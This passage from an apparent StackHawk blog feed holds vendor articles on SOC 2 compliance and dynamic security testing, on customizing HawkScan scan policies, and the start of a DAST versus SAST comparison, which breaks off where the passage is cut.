href=&quot;https://www.securitymagazine.com/articles/98674-shift-left-beyond-the-cybersecurity-buzzword#:~:text=Shifting%20security%20left%20means%20organizations,as%20they%20push%20new%20code.&quot;&gt;&lt;i&gt;&lt;u&gt;here&lt;/u&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt;. &lt;/i&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;i&gt;Check out why Omdia’s On the Radar report highlights StackHawk as an “interesting alternative to most other DAST tools” &lt;/i&gt;&lt;a href=&quot;https://www.stackhawk.com/lp/otr-stackhawk-for-dast-and-api-security-testing/&quot;&gt;&lt;i&gt;&lt;u&gt;here&lt;/u&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt;.&lt;/i&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;i&gt;Getting started with StackHawk? Check out Advice and Answers from the amazing StackHawk team &lt;/i&gt;&lt;a href=&quot;https://help.stackhawk.com/en/&quot;&gt;&lt;i&gt;&lt;u&gt;here&lt;/u&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt;. &lt;/i&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Understanding SOC 2 Security Compliance and Testing]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/what-is-soc-2-security-testing-and-why-is-it-important</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[Matt Tanner]]></dc:creator><content:encoded>&lt;p&gt;Anyone who is working in a highly regulated industry or is a SaaS provider has likely heard about SOC 2 compliance. SOC 2 certification has become the gold standard of security for many technology companies. It guarantees a high level of information security and a promise to manage customer data in a private and secure way through the effective implementation of the organization&amp;#39;s controls. SOC 2 compliance can take varying amounts of time and effort to achieve, but in our modern world of daily security and data breaches, it’s a must for many organizations.&lt;/p&gt;&lt;p&gt;In this blog, we will cover some of the building blocks of SOC 2 security testing. We will go over what it is and why it is important and finish off with some pointers on how to achieve SOC 2 compliance, how to build SOC 2 compliant applications and APIs, and look at how StackHawk can assist developers in their SOC 2 efforts. Let’s start by looking at what SOC 2 security testing entails.&lt;/p&gt;&lt;p&gt;SOC 2 (Service Organization Controls 2) security testing is a type of audit that assesses the security controls of a service organization. The audit is performed by a certified independent auditor who will evaluate the organization’s controls related to the security, availability, processing integrity, confidentiality, and privacy of the systems and data that the organization uses to deliver its services. The audit is designed to help organizations demonstrate to their clients and stakeholders that they have strong controls in place to protect sensitive data and systems. The audit is based on the AICPA (American Institute of Certified Public Accountants) Trust Services Principles and Criteria, which provide a framework for evaluating the design and effectiveness of controls. The results of the audit are consolidated into a SOC 2 report, which summarizes the findings of the audit and provides recommendations for improvement, if necessary.&lt;/p&gt;&lt;h2&gt;What is SOC 2 Compliance?&lt;/h2&gt;&lt;h3&gt;Definition of SOC 2&lt;/h3&gt;&lt;p&gt;SOC 2 compliance refers to the adherence to a set of standards and guidelines established by the American Institute of Certified Public Accountants (AICPA) for service organizations to ensure the security, availability, processing integrity, confidentiality, and privacy of customer data. SOC 2 compliance is a voluntary standard that demonstrates an organization’s commitment to protecting sensitive data and maintaining strong internal controls. By adhering to these standards, service organizations can assure their clients, business partners, and stakeholders that they have holistic measures in place to safeguard customer data and maintain the integrity of their operations.&lt;/p&gt;&lt;h3&gt;What is a SOC 2 audit?&lt;/h3&gt;&lt;p&gt;In order to determine whether a company is SOC 2 compliant, A SOC 2 audit must be performed. A SOC 2 audit is an independent examination of a service organization’s controls and processes to ensure compliance with the SOC 2 standards. The audit is performed by a certified public accountant (CPA) or a CPA firm with the qualifications, expertise, and experience in auditing and reporting on controls at service organizations. The audit evaluates the design and operating effectiveness of the organization’s controls, including security, availability, processing integrity, confidentiality, and privacy. Through this comprehensive evaluation, the audit provides a comprehensive assessment of the organization’s ability to protect sensitive data and maintain the integrity of its operations.&lt;/p&gt;&lt;h2&gt;SOC 2 Framework and Trust Services Criteria&lt;/h2&gt;&lt;p&gt;The SOC 2 framework is based on the Trust Services Criteria, which are a set of principles and controls developed by the AICPA. The framework is designed to be flexible and adaptable to different types of service organizations and industries. The SOC 2 framework includes five Trust Services Criteria:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Security: The organization must have controls in place to protect against unauthorized access to or use of systems and data.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Availability: The organization must have access controls in place to ensure that systems and data are available when needed.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Processing integrity: The organization must have controls in place to ensure the accuracy and completeness of data processing.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Confidentiality: The organization must have controls in place to protect the confidentiality of sensitive information.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Privacy: The organization must have controls in place to protect the privacy of personal information.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Achieving SOC 2 compliance also helps organizations meet various regulatory compliance requirements, thereby reducing the risk of fines and legal consequences.&lt;/p&gt;&lt;p&gt;To meet these principles and criteria, an organization may need to implement a variety of controls. Depending on the company and application, the company may need to implement controls for access, data backup and recovery, change management, and incident management. The specific controls that an organization needs to implement will depend on:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;the nature of its business&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;the services it provides&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;the data it handles&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Only after these criteria are met should an organization undergo a SOC audit to ensure SOC 2 compliance. From this audit, a SOC report will be issued showing whether the organization has met the requirements for SOC 2 compliance.&lt;/p&gt;&lt;p&gt;A SOC report is issued after a third-party auditor examines an organization. The audit is done to verify that an organization has an effective system of controls related to security, availability, processing integrity, confidentiality, and/or privacy. The report, which is issued by a Certified Public Accountant (CPA), provides reasonable assurance over the design and operating effectiveness of controls. Part of the report also clearly outlines any potential risks for customers or partners that are considering working with the organization. Since the SOC 2 report will be available to potential customers, this allows them to make an educated decision on whether to use the provider or not.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Is Penetration Testing Required For SOC 2 Compliance?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Penetration testing, also known as pen testing, is a type of security testing that is designed to identify vulnerabilities in systems and networks by simulating a cyber attack. While pen testing is not specifically required for SOC 2 compliance, it can be an important part of a comprehensive security program. Pen testing is another great tool that can be added to help organizations identify and remediate vulnerabilities in their systems.&lt;/p&gt;&lt;p&gt;The Trust Services Criteria that are relevant to SOC 2 compliance do not specifically mention penetration testing. However, the principles and criteria do require organizations to have controls in place to protect against unauthorized access to or use of systems and data. The audit evaluates the design and operating effectiveness of the service organization&amp;#39;s controls, including security, availability, processing integrity, confidentiality, and privacy. Pen testing can be a useful tool for identifying these types of vulnerabilities, such as a system that allows for unauthorized access. Using penetration testing to discover vulnerabilities that could be exploited by an attacker, and remediating them can help an organization meet this requirement in the SOC 2 compliance guidelines.&lt;/p&gt;&lt;p&gt;In addition, some regulations or industry standards may require or recommend pen testing as part of a comprehensive security program. For example, the Payment Card Industry Data Security Standard (PCI DSS) recommends that organizations perform pen testing at least annually.&lt;/p&gt;&lt;p&gt;While pen testing is not specifically required for SOC 2 compliance, conducting a penetration test can be a valuable tool for identifying vulnerabilities and helping organizations meet the Trust Services Criteria.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What Are The Different Types Of SOC 2 Compliance?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Although we generally speak about SOC 2 compliance as a single entity, there are two types of SOC 2 compliance: &lt;b&gt;SOC 2 Type I&lt;/b&gt; and &lt;b&gt;SOC 2 Type II&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;i&gt;SOC 2 Type I&lt;/i&gt;&lt;/b&gt;&lt;i&gt; compliance refers to the controls that an organization has in place at a specific point in time. A SOC 2 Type I audit is focused on the design of the controls, and it evaluates whether the controls are suitable for meeting the Trust Services Principles and Criteria.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;i&gt;SOC 2 Type II&lt;/i&gt;&lt;/b&gt;&lt;i&gt; compliance, on the other hand, refers to the operating effectiveness of the controls over some time. A SOC 2 Type II audit is focused on the effectiveness of the controls, and it evaluates whether the controls are operating as intended and are achieving their intended results.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Both types of audits are performed by a certified independent auditor, and the results are presented in a SOC 2 report. As mentioned previously, the report provides a detailed assessment of the controls that are in place and makes recommendations for improvement, if necessary. Organizations generally will do a SOC 2 Type I audit first and, usually, 3-12 months later, will have the SOC 2 Type II audit completed to ensure they meet the requirements over an extended period.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Why Is SOC 2 Compliance Important?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;SOC 2 compliance is an important criterion for organizations to demonstrate to their clients and stakeholders that they have strong controls in place to protect sensitive data and systems. By undergoing a SOC 2 audit, an organization can assure that it has implemented appropriate controls to safeguard the security, availability, processing integrity, confidentiality, and privacy of the systems and data it uses to deliver its services.&lt;/p&gt;&lt;p&gt;For organizations that handle sensitive data, such as financial information, personal information, or healthcare data, SOC 2 compliance is highly important. For organizations in the healthcare industry, SOC 2 compliance is crucial for ensuring the security, confidentiality, and availability of protected health information (PHI) in adherence to regulations like HIPAA. Many organizations must comply with regulations or industry standards that mandate the use of strong security controls. Personal data may be required to comply with data protection regulations such as the General Data Protection Regulation (GDPR) or the California Consumer Privacy Act (CCPA). A SOC 2 audit can help an organization demonstrate compliance with these regulations. It helps to build trust with clients and stakeholders by showing that your organization takes security seriously and is committed to protecting sensitive data.&lt;/p&gt;&lt;p&gt;SOC 2 compliance is important because it helps organizations build trust, protect sensitive data, and demonstrate compliance with industry standards and regulations. It’s a surefire way to demonstrate to new and existing customers security and compliance are top of mind for your organization.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What Is The Easiest Way To Become SOC 2 Compliant?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;There is no easy or quick way to become SOC 2 compliant. Achieving SOC 2 compliance requires a robust and ongoing security program that includes the implementation and maintenance of appropriate controls.&lt;/p&gt;&lt;p&gt;That being said, there are steps that organizations can take to streamline the process of becoming SOC 2 compliant:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Identify the specific Trust Services Principles and Criteria that are relevant to your organization. This will help you focus your efforts on the controls that are most important for your business.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Implement a security framework, such as the NIST Cybersecurity Framework or ISO 27001. These frameworks provide a structured approach to implementing and maintaining security controls.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Develop a security policy and procedures manual that outlines the specific controls that your organization has in place to meet the Trust Services Principles and Criteria.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Train employees on security best practices and the importance of protecting sensitive data.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Regularly monitor and test your controls to ensure that they are operating effectively and to identify any potential issues.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Work with a certified independent auditor to conduct a SOC 2 audit. The auditor will review your controls and provide recommendations for improvement, if necessary.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Implement strong vendor management processes to help ensure that third-party vendors also adhere to SOC 2 compliance requirements.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;By taking these steps, you can help ensure that your organization has a strong foundation for SOC 2 compliance. However, it’s important to note that achieving and maintaining SOC 2 compliance requires ongoing effort and attention.&lt;/p&gt;&lt;p&gt;The typical SOC 2 compliance journey looks like this:&lt;/p&gt;&lt;h3&gt;Audit Prep&lt;/h3&gt;&lt;p&gt;At this stage, companies begin to uncover what is needed for SOC 2 compliance. As part of this discovery and prep process, an organization will also need to implement effective risk management strategies to identify and mitigate potential security risks. An organization will create policies and processes to adhere to the needs of SOC 2 compliance guidelines. The organization will train employees on their roles in attaining SOC 2 compliance and make changes to any technical configurations to meet SOC 2 requirements. This phase generally takes about one to three months.&lt;/p&gt;&lt;h3&gt;SOC 2 Type I Audit&lt;/h3&gt;&lt;p&gt;After the audit prep, some organizations will choose to do the optional SOC 2 Type I audit. As mentioned, this audit essentially proves that at this point, your business is compliant. This is when you can start the clock on attaining the SOC 2 Type II certification.&lt;/p&gt;&lt;h3&gt;Evidence Collection&lt;/h3&gt;&lt;p&gt;Once the clock has started, there is a three to twelve-month evaluation period that is part of the SOC 2 Type II evaluation process. During this time, the auditor will collect evidence to show long-term proof of SOC 2 compliance. This is because SOC 2 Type II certification is based on the ongoing ability of an organization to demonstrate compliance, unlike the point-in-time verification done in a SOC 2 Type I audit. During the evidence collection period, the auditor will document processes, policies, and controls that are being maintained by the organization.&lt;/p&gt;&lt;h3&gt;SOC 2 Type II Audit&lt;/h3&gt;&lt;p&gt;After the evidence has been collected and verified, the auditor will come in and do an on-site audit. Depending on the size of your organization, the scope of your business, and other factors, this part could take anywhere from a few days to several months. The time needed is determined by the amount of time needed for the auditor to be satisfied that they have covered all the necessary bases. After the audit is concluded, usually within a few weeks, your organization will receive the final SOC 2 Type II audit report.&lt;/p&gt;&lt;h3&gt;Annual Refresh&lt;/h3&gt;&lt;p&gt;Each year, the organization will need to do an annual refresh to show continuous compliance with the principles and criteria of SOC 2 compliance. By doing this, organizations know that SOC 2 compliance is being maintained on a daily, weekly, and monthly basis, even after the business has passed its initial audits.&lt;/p&gt;&lt;p&gt;The complexity of this process may vary from organization to organization but the sequence of events generally follows this path. Since certain periods are baked into the compliance framework, businesses can usually guarantee that achieving SOC 2 Type II compliance will happen no sooner than three months after the SOC 2 certification process has begun.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;How Does SOC 2 Impact Your APIs?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Many companies have a suite of APIs that drive core business functionalities. There are very few businesses, technical or not, that do not have APIs driving at least a part of their products and services. Of course, APIs are also impacted by the requirements of SOC 2 compliance. When it comes to APIs, SOC 2 compliance can impact them in several ways:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;APIs that handle sensitive data may be required to comply with SOC 2 to demonstrate to clients and stakeholders that they have strong controls in place to protect that data.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Organizations that use APIs to access sensitive data may require their API providers to be SOC 2 compliant to ensure the security and integrity of that data.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;APIs that are not compliant with SOC 2 may be less attractive to potential clients and partners, as they may be seen as less secure and reliable.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Achieving SOC 2 compliance may require organizations to implement additional controls and processes related to their APIs. This can include additions such as authentication and authorization controls, data encryption, and incident management controls.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Overall, SOC 2 compliance is important for APIs that handle sensitive data. Making sure your APIs adhere to SOC 2 policies and controls is likely to be required by clients and partners to ensure the security and integrity of that data.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;How To Build SOC 2-Compliant APIs&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;To build SOC 2-compliant APIs, you will need to implement controls that meet the Trust Services Criteria. This will likely involve building or enhancing your APIs from a few different angles. A SOC 2-compliant API will require a combination of technical, physical, and administrative controls. Some specific steps you can take to build SOC 2-compliant APIs include:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Implement authentication and authorization controls to ensure that only authorized users have access to your APIs.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Implement encryption to secure sensitive data in transit and at rest.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Implement data backup and recovery controls to ensure that data can be recovered in the event of a disaster or data loss.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Implement change management controls to ensure that changes to your APIs are properly tested, approved, and implemented.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Implement incident management controls to ensure that security incidents are promptly detected, investigated, and resolved.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Implement a security awareness and training program to educate employees about security best practices and the importance of protecting sensitive data.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Regularly monitor your APIs and their associated controls to ensure that they are operating effectively and to identify any potential issues.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;It&amp;#39;s important to note that this is just a high-level overview of how SOC-2-compliant APIs can be built. The specific controls that you need to implement will depend on the nature of your API and the data it handles. The best way to ensure that your APIs will meet compliance requirements is to consult with a security expert or a certified independent auditor. Doing this can help you to determine the specific controls that are appropriate for your APIs.&lt;/p&gt;&lt;p&gt;Dynamic application security testing (DAST) tools are designed to identify vulnerabilities in web-based applications. DAST tools work by analyzing the application&amp;#39;s behavior during runtime, as a black box security testing technique. A DAST tool can help to easily identify vulnerabilities that may impact your ability to achieve SOC 2 compliance. These tools can also ensure that applications and APIs that are being built or updated do not have security defects that could affect your SOC 2 compliance. Using a DAST tool is a great way to ensure that developers are creating secure code in an automated fashion. &lt;/p&gt;&lt;p&gt;It&amp;#39;s also important to note that running a DAST tool whenever code is committed to the source code repository is possible. Matter of fact, this is the best way to ensure that code is always SOC 2 compliant and is confidently being produced without defects. If defects are found, they can be remedied immediately instead of just before a production release, or worse, after the vulnerability has already been exploited in production. When code is committed, the application is built from the latest source code and the DAST tool can then execute its set of tests against the latest build. Instantly giving feedback to developers about potential vulnerabilities and any security issues which could impact SOC 2 compliance at the application level.&lt;/p&gt;&lt;p&gt;To use a DAST tool for SOC 2 compliance, you will need to:&lt;/p&gt;&lt;h3&gt;Identify The Scope of Testing &lt;/h3&gt;&lt;p&gt;Determine which applications and systems need to be tested, as well as which Trust Services Principles and Criteria the testing should focus on. Understand the vulnerabilities which can be identified by the DAST tool, as well as its limitations. Once the scope of testing is determined, you can move forward into configuring and using the tool.&lt;/p&gt;&lt;h3&gt;Configure The DAST Tool&lt;/h3&gt;&lt;p&gt;Set up the DAST tool to scan the appropriate applications and systems, and configure any relevant settings or preferences. Depending on the tool, you may configure it to crawl your application automatically, supply it with defined application paths, or use a mixture of both.&lt;/p&gt;&lt;h3&gt;Conduct The Scan&lt;/h3&gt;&lt;p&gt;Run the DAST tool to scan the applications and systems. This may involve interacting with the application in various ways to simulate how the application will behave while in use and identify vulnerabilities. The scan will test the application for vulnerabilities against known and possible attacks and monitor how the application reacts. &lt;/p&gt;&lt;p&gt;To ensure the most coverage and ongoing SOC 2 compliance, it is best to use an automated scanning process. The best way to do this is to use a tool, like StackHawk, that can be integrated directly into the release pipeline, which will continually test the code. This ensures that as code is written and committed, it is secure.&lt;/p&gt;&lt;h3&gt;Review The Results&lt;/h3&gt;&lt;p&gt;Review the results of the scan to identify any vulnerabilities that have been identified. Depending on the tool, this may consist of a report which contains the identified vulnerability, the severity, and impact, as well as potential fixes.&lt;/p&gt;&lt;h3&gt;Remediate Any Vulnerabilities&lt;/h3&gt;&lt;p&gt;If any vulnerabilities are identified in the results of the scan, take steps to fix them. This generally involves refactoring the code to get rid of the security defect. Of course, sometimes this also may involve applying patches, updating software, or implementing additional controls. Once the vulnerability is fixed, follow processes to verify that the fix is effective. As mentioned above, the best way to verify that the fix has been applied and is effective is to automate the DAST testing process. The easiest and most reliable way is by making DAST scans run automatically as part of the CI/CD pipeline. This process will then automatically run another scan with the DAST tool to ensure the fix is acting as intended and the vulnerability is resolved.&lt;/p&gt;&lt;h3&gt;Document The Testing Process&lt;/h3&gt;&lt;p&gt;Document the testing process, including the scope of the testing, the configuration of the DAST tool, and the results of the scan. This documentation will be useful if you need to demonstrate compliance with SOC 2 to an auditor or other stakeholders.&lt;/p&gt;&lt;p&gt;It&amp;#39;s important to note that DAST tools are just one part of a comprehensive security program, and they should be used in conjunction with other controls and testing methods to ensure that your systems and data are secure. There are a variety of testing tools and methods available and by layering them, you can create an extremely robust application security program.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Using StackHawk For SOC 2 Compliance&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;StackHawk is a DAST platform that provides testing tools for web applications, APIs, and other types of services. As we explored above, DAST tools can easily and effectively be used to identify vulnerabilities that may impact SOC 2 compliance. Knowing this, StackHawk can be used as part of a comprehensive security program to help achieve and maintain SOC 2 compliance. Specifically, you can use StackHawk to:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Conduct a vulnerability scan to identify vulnerabilities in your web applications and APIs.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Remediate any vulnerabilities that are identified since StackHawk guides developers on how fixes can be achieved.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Verify that code fixes and refactoring have remedied any vulnerabilities that were discovered in the initial scan&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Add StackHawk to your CI/CD pipeline to scan for vulnerabilities on an ongoing basis, as code is created and before it hits production.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Document the testing process, including the scope of the testing, the configuration of StackHawk, and the results of the scans.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Adding StackHawk to your security and SOC 2 compliance efforts is a great way to ensure applications are being written securely. StackHawk has a massive amount of functionality that can easily be configured and executed to assist your team in building SOC-2-compliant systems.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Wrapping Up&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;When it comes to showing users and customers how secure your platform is, SOC 2 compliance is a must-have. SOC 2 compliance guarantees that your platform meets high standards for security and can be trusted. In this blog, we looked at some key parts of SOC 2 security testing, including what it is, why it is important, and how to build and test applications and APIs to ensure SOC 2 compliance.&lt;/p&gt;&lt;p&gt;It&amp;#39;s important to note that SOC 2 compliance is not a one-time event; it requires ongoing maintenance and monitoring to ensure that controls remain effective over time. Making sure that your organization continues to maintain SOC 2 compliance within existing services and new ones must be the approach moving forward.&lt;/p&gt;&lt;p&gt;Lastly, we looked at how StackHawk can be used to move your SOC 2 compliance testing forward. By using StackHawk&amp;#39;s DAST platform, you can ensure that vulnerabilities that can impact SOC 2 compliance are remedies early in the development of the application or service. &lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;Try StackHawk&lt;/a&gt; out for yourself to help you build SOC 2-compliant applications, services, and APIs.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Policy Management: Speed Up Scans and Cover Special Test Cases]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/policy-management-speed-up-scans-and-cover-special-test-cases</guid><category><![CDATA[Scanning with StackHawk]]></category><category><![CDATA[Automating Security in CI/CD]]></category><dc:creator><![CDATA[Omar Alkhalili]]></dc:creator><content:encoded>&lt;p&gt;When HawkScan scans an application, it uses a scan policy to determine which vulnerability tests to run against that app. Scan policies are a collection of enabled and disabled plugins, and plugins can be thought of as individual vulnerability tests. The plugins that are enabled in the scan policy will be run when HawkScan uses that scan policy to scan an application.&lt;/p&gt;&lt;p&gt;With default settings, HawkScan will run its default scan policy with a curated selection of plugins based on their quality and general applicability for use with any application. We also provide scan policies for other use cases, such as scanning against OpenAPI/REST, GraphQL, or SOAP applications, or scanning for the Log4Shell vulnerability. Traditionally, this has been configured from the StackHawk YAML configuration file.

Now scan policy settings can be managed directly for each application within the StackHawk Platform. Not only can scan policies be selected for use with HawkScan, but now they can be customized by allowing fine-tuned control over which plugins are enabled and disabled within the scan policy.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/policy-management-speed-up-scans-and-cover-special-test-cases/#-watch-a-quick-demo/&quot;&gt;&lt;i&gt;Visual learner? Jump to the video overview&lt;/i&gt;&lt;/a&gt;
&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Selecting a Scan Policy&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Scan policies can be set for an application on the settings page for that application. For example, if we are scanning an application with a REST API, we can select the OpenAPI/REST API scan policy, which will run a selection of enabled plugins customized for REST applications. Within the application&amp;#39;s settings, we can change the policy from &amp;quot;&lt;b&gt;HawkScan Default&lt;/b&gt;&amp;quot; to &amp;quot;&lt;b&gt;OpenAPI/REST API.&lt;/b&gt;&amp;quot;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Now subsequent scans against this application will use the OpenAPI/REST API scan policy. For best results, it is suggested to specify an OpenAPI spec in your StackHawk YAML configuration when running this application scan policy. More on that &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/openapi-configuration.html&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;
&lt;b&gt;Customizing a Scan Policy&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;To customize a scan policy, we can select any of the available scan policies and click the &amp;quot;&lt;b&gt;Customize Policy&lt;/b&gt;&amp;quot; button. As an example, I will use the &amp;quot;&lt;b&gt;HawkScan Default&lt;/b&gt;&amp;quot; scan policy for a scan against a &lt;a href=&quot;https://github.com/kaakaww/vuln_django_play&quot;&gt;&lt;u&gt;vulnerable Django app&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;
This will bring us to a page that shows us all available active and passive plugins that can be run with HawkScan. Checking or unchecking one of the plugins will enable or disable that plugin. When customizing a policy, there will already be some plugins that are enabled. In this example, I will enable a plugin that is disabled by default in the HawkScan default scan policy called &amp;quot;&lt;b&gt;Source Code Disclosure - File Inclusion&lt;/b&gt;&amp;quot; (ID 43). This test detects vulnerability to directory traversal attacks. I will also disable a plugin called &amp;quot;&lt;b&gt;Proxy Disclosure&lt;/b&gt;&amp;quot; (ID 40025) due to that plugin sometimes experiencing false positives.&lt;/p&gt;&lt;p&gt;
First I find these plugins in the active plugins list and check/uncheck them.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Toggling these check boxes will save the application scan policy. By backing out to the application settings page, the application scan policy will now be labeled as customized.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Now it&amp;#39;s time to run a scan. If we run a scan against this application, it will use the customized scan policy. Below you can see that the plugin added to the scan policy fired an alert as the corresponding vulnerability was discovered in the app.&lt;/p&gt;&lt;p&gt;
I hope you enjoyed reading about our new Scan Policy Management feature. If you&amp;#39;d like to learn more, check out our &lt;a href=&quot;https://docs.stackhawk.com/web-app/policy-management/&quot;&gt;&lt;u&gt;docs&lt;/u&gt;&lt;/a&gt; on this feature.&lt;/p&gt;&lt;h2&gt;📺 Watch a Quick Demo&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://fast.wistia.net/embed/iframe/po01vo21ti?videoFoam=true&quot;&gt;[Video]&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Decoding DAST vs SAST: Maximizing App Security]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/dast-vs-sast</guid><category><![CDATA[Tooling Guides]]></category><dc:creator><![CDATA[Matt Tanner]]></dc:creator><content:encoded>&lt;h2&gt;SAST vs. DAST: Which to Choose?&lt;/h2&gt;&lt;p&gt;In the world of &lt;a href=&quot;https://www.stackhawk.com/blog/10-web-application-security-threats-and-how-to-mitigate-them/&quot;&gt;application security&lt;/a&gt; testing, two types of testing reign supreme: &lt;a href=&quot;https://stackhawk.com/solutions/dast/&quot;&gt;DAST&lt;/a&gt; and &lt;a href=&quot;https://snyk.io/learn/application-security/static-application-security-testing&quot;&gt;SAST&lt;/a&gt;. Both toolings offer extensive benefits to any organization’s security stack by identifying vulnerabilities through comprehensive testing. Both focus on deeply analyzing source code and application functionalities to diagnose potential security issues accurately.&lt;/p&gt;&lt;p&gt;In this article, we will look at the age-old question of DAST vs SAST by understanding what each solution provides and the key differences in how and when to use them. We will also cover other available tools in the AppSec space that can be paired well with these solutions and provide a holistic approach to application security. With the agenda set, let’s get started.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What is Dynamic Application Security Testing (DAST)?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/dynamic-application-security-testing-overview/&quot;&gt;Dynamic application security testing&lt;/a&gt;, usually shortened to DAST, is a black box testing method for testing software that involves examining an application while it&amp;#39;s running. This “black box” approach to application testing means that the &lt;a href=&quot;https://www.stackhawk.com/blog/top-10-api-tools-for-testing-in-2024/&quot;&gt;testing tool&lt;/a&gt; has no knowledge of the application&amp;#39;s internal interactions or design.&lt;/p&gt;&lt;p&gt;A DAST tool simulates attacks against the running application and observes its responses to identify vulnerabilities such as SQL injection or cross-site scripting vulnerabilities. Based on the outcome of each attack, the tool can help to find security vulnerabilities and determine whether the application is vulnerable and could be susceptible to a real malicious attack. These findings allow developers to fix the security defect before the source code is pushed out into the wild.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;When to use use DAST?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;A DAST tool should be used early on in the Software Development Lifecycle (SDLC). By moving this testing up earlier in the development process, also known as “shifting left”, the security issues can be fixed while active development is happening. A DAST tool can be a great help to all developers and allow them to discover security flaws, coding errors, and defects they&amp;#39;ve inadvertently put into the code. By nature, DAST tools find issues that are accessible and potentially exploitable, which is great for identifying high-priority items.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What is Static Application Security Testing (SAST)?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Static application security testing, usually shortened to SAST, is a type of “white box” testing that scans application code statically. SAST tools scan and analyze source code to find source code vulnerabilities by reading through each line of code. When a known vulnerability is identified through static analysis, developers are made 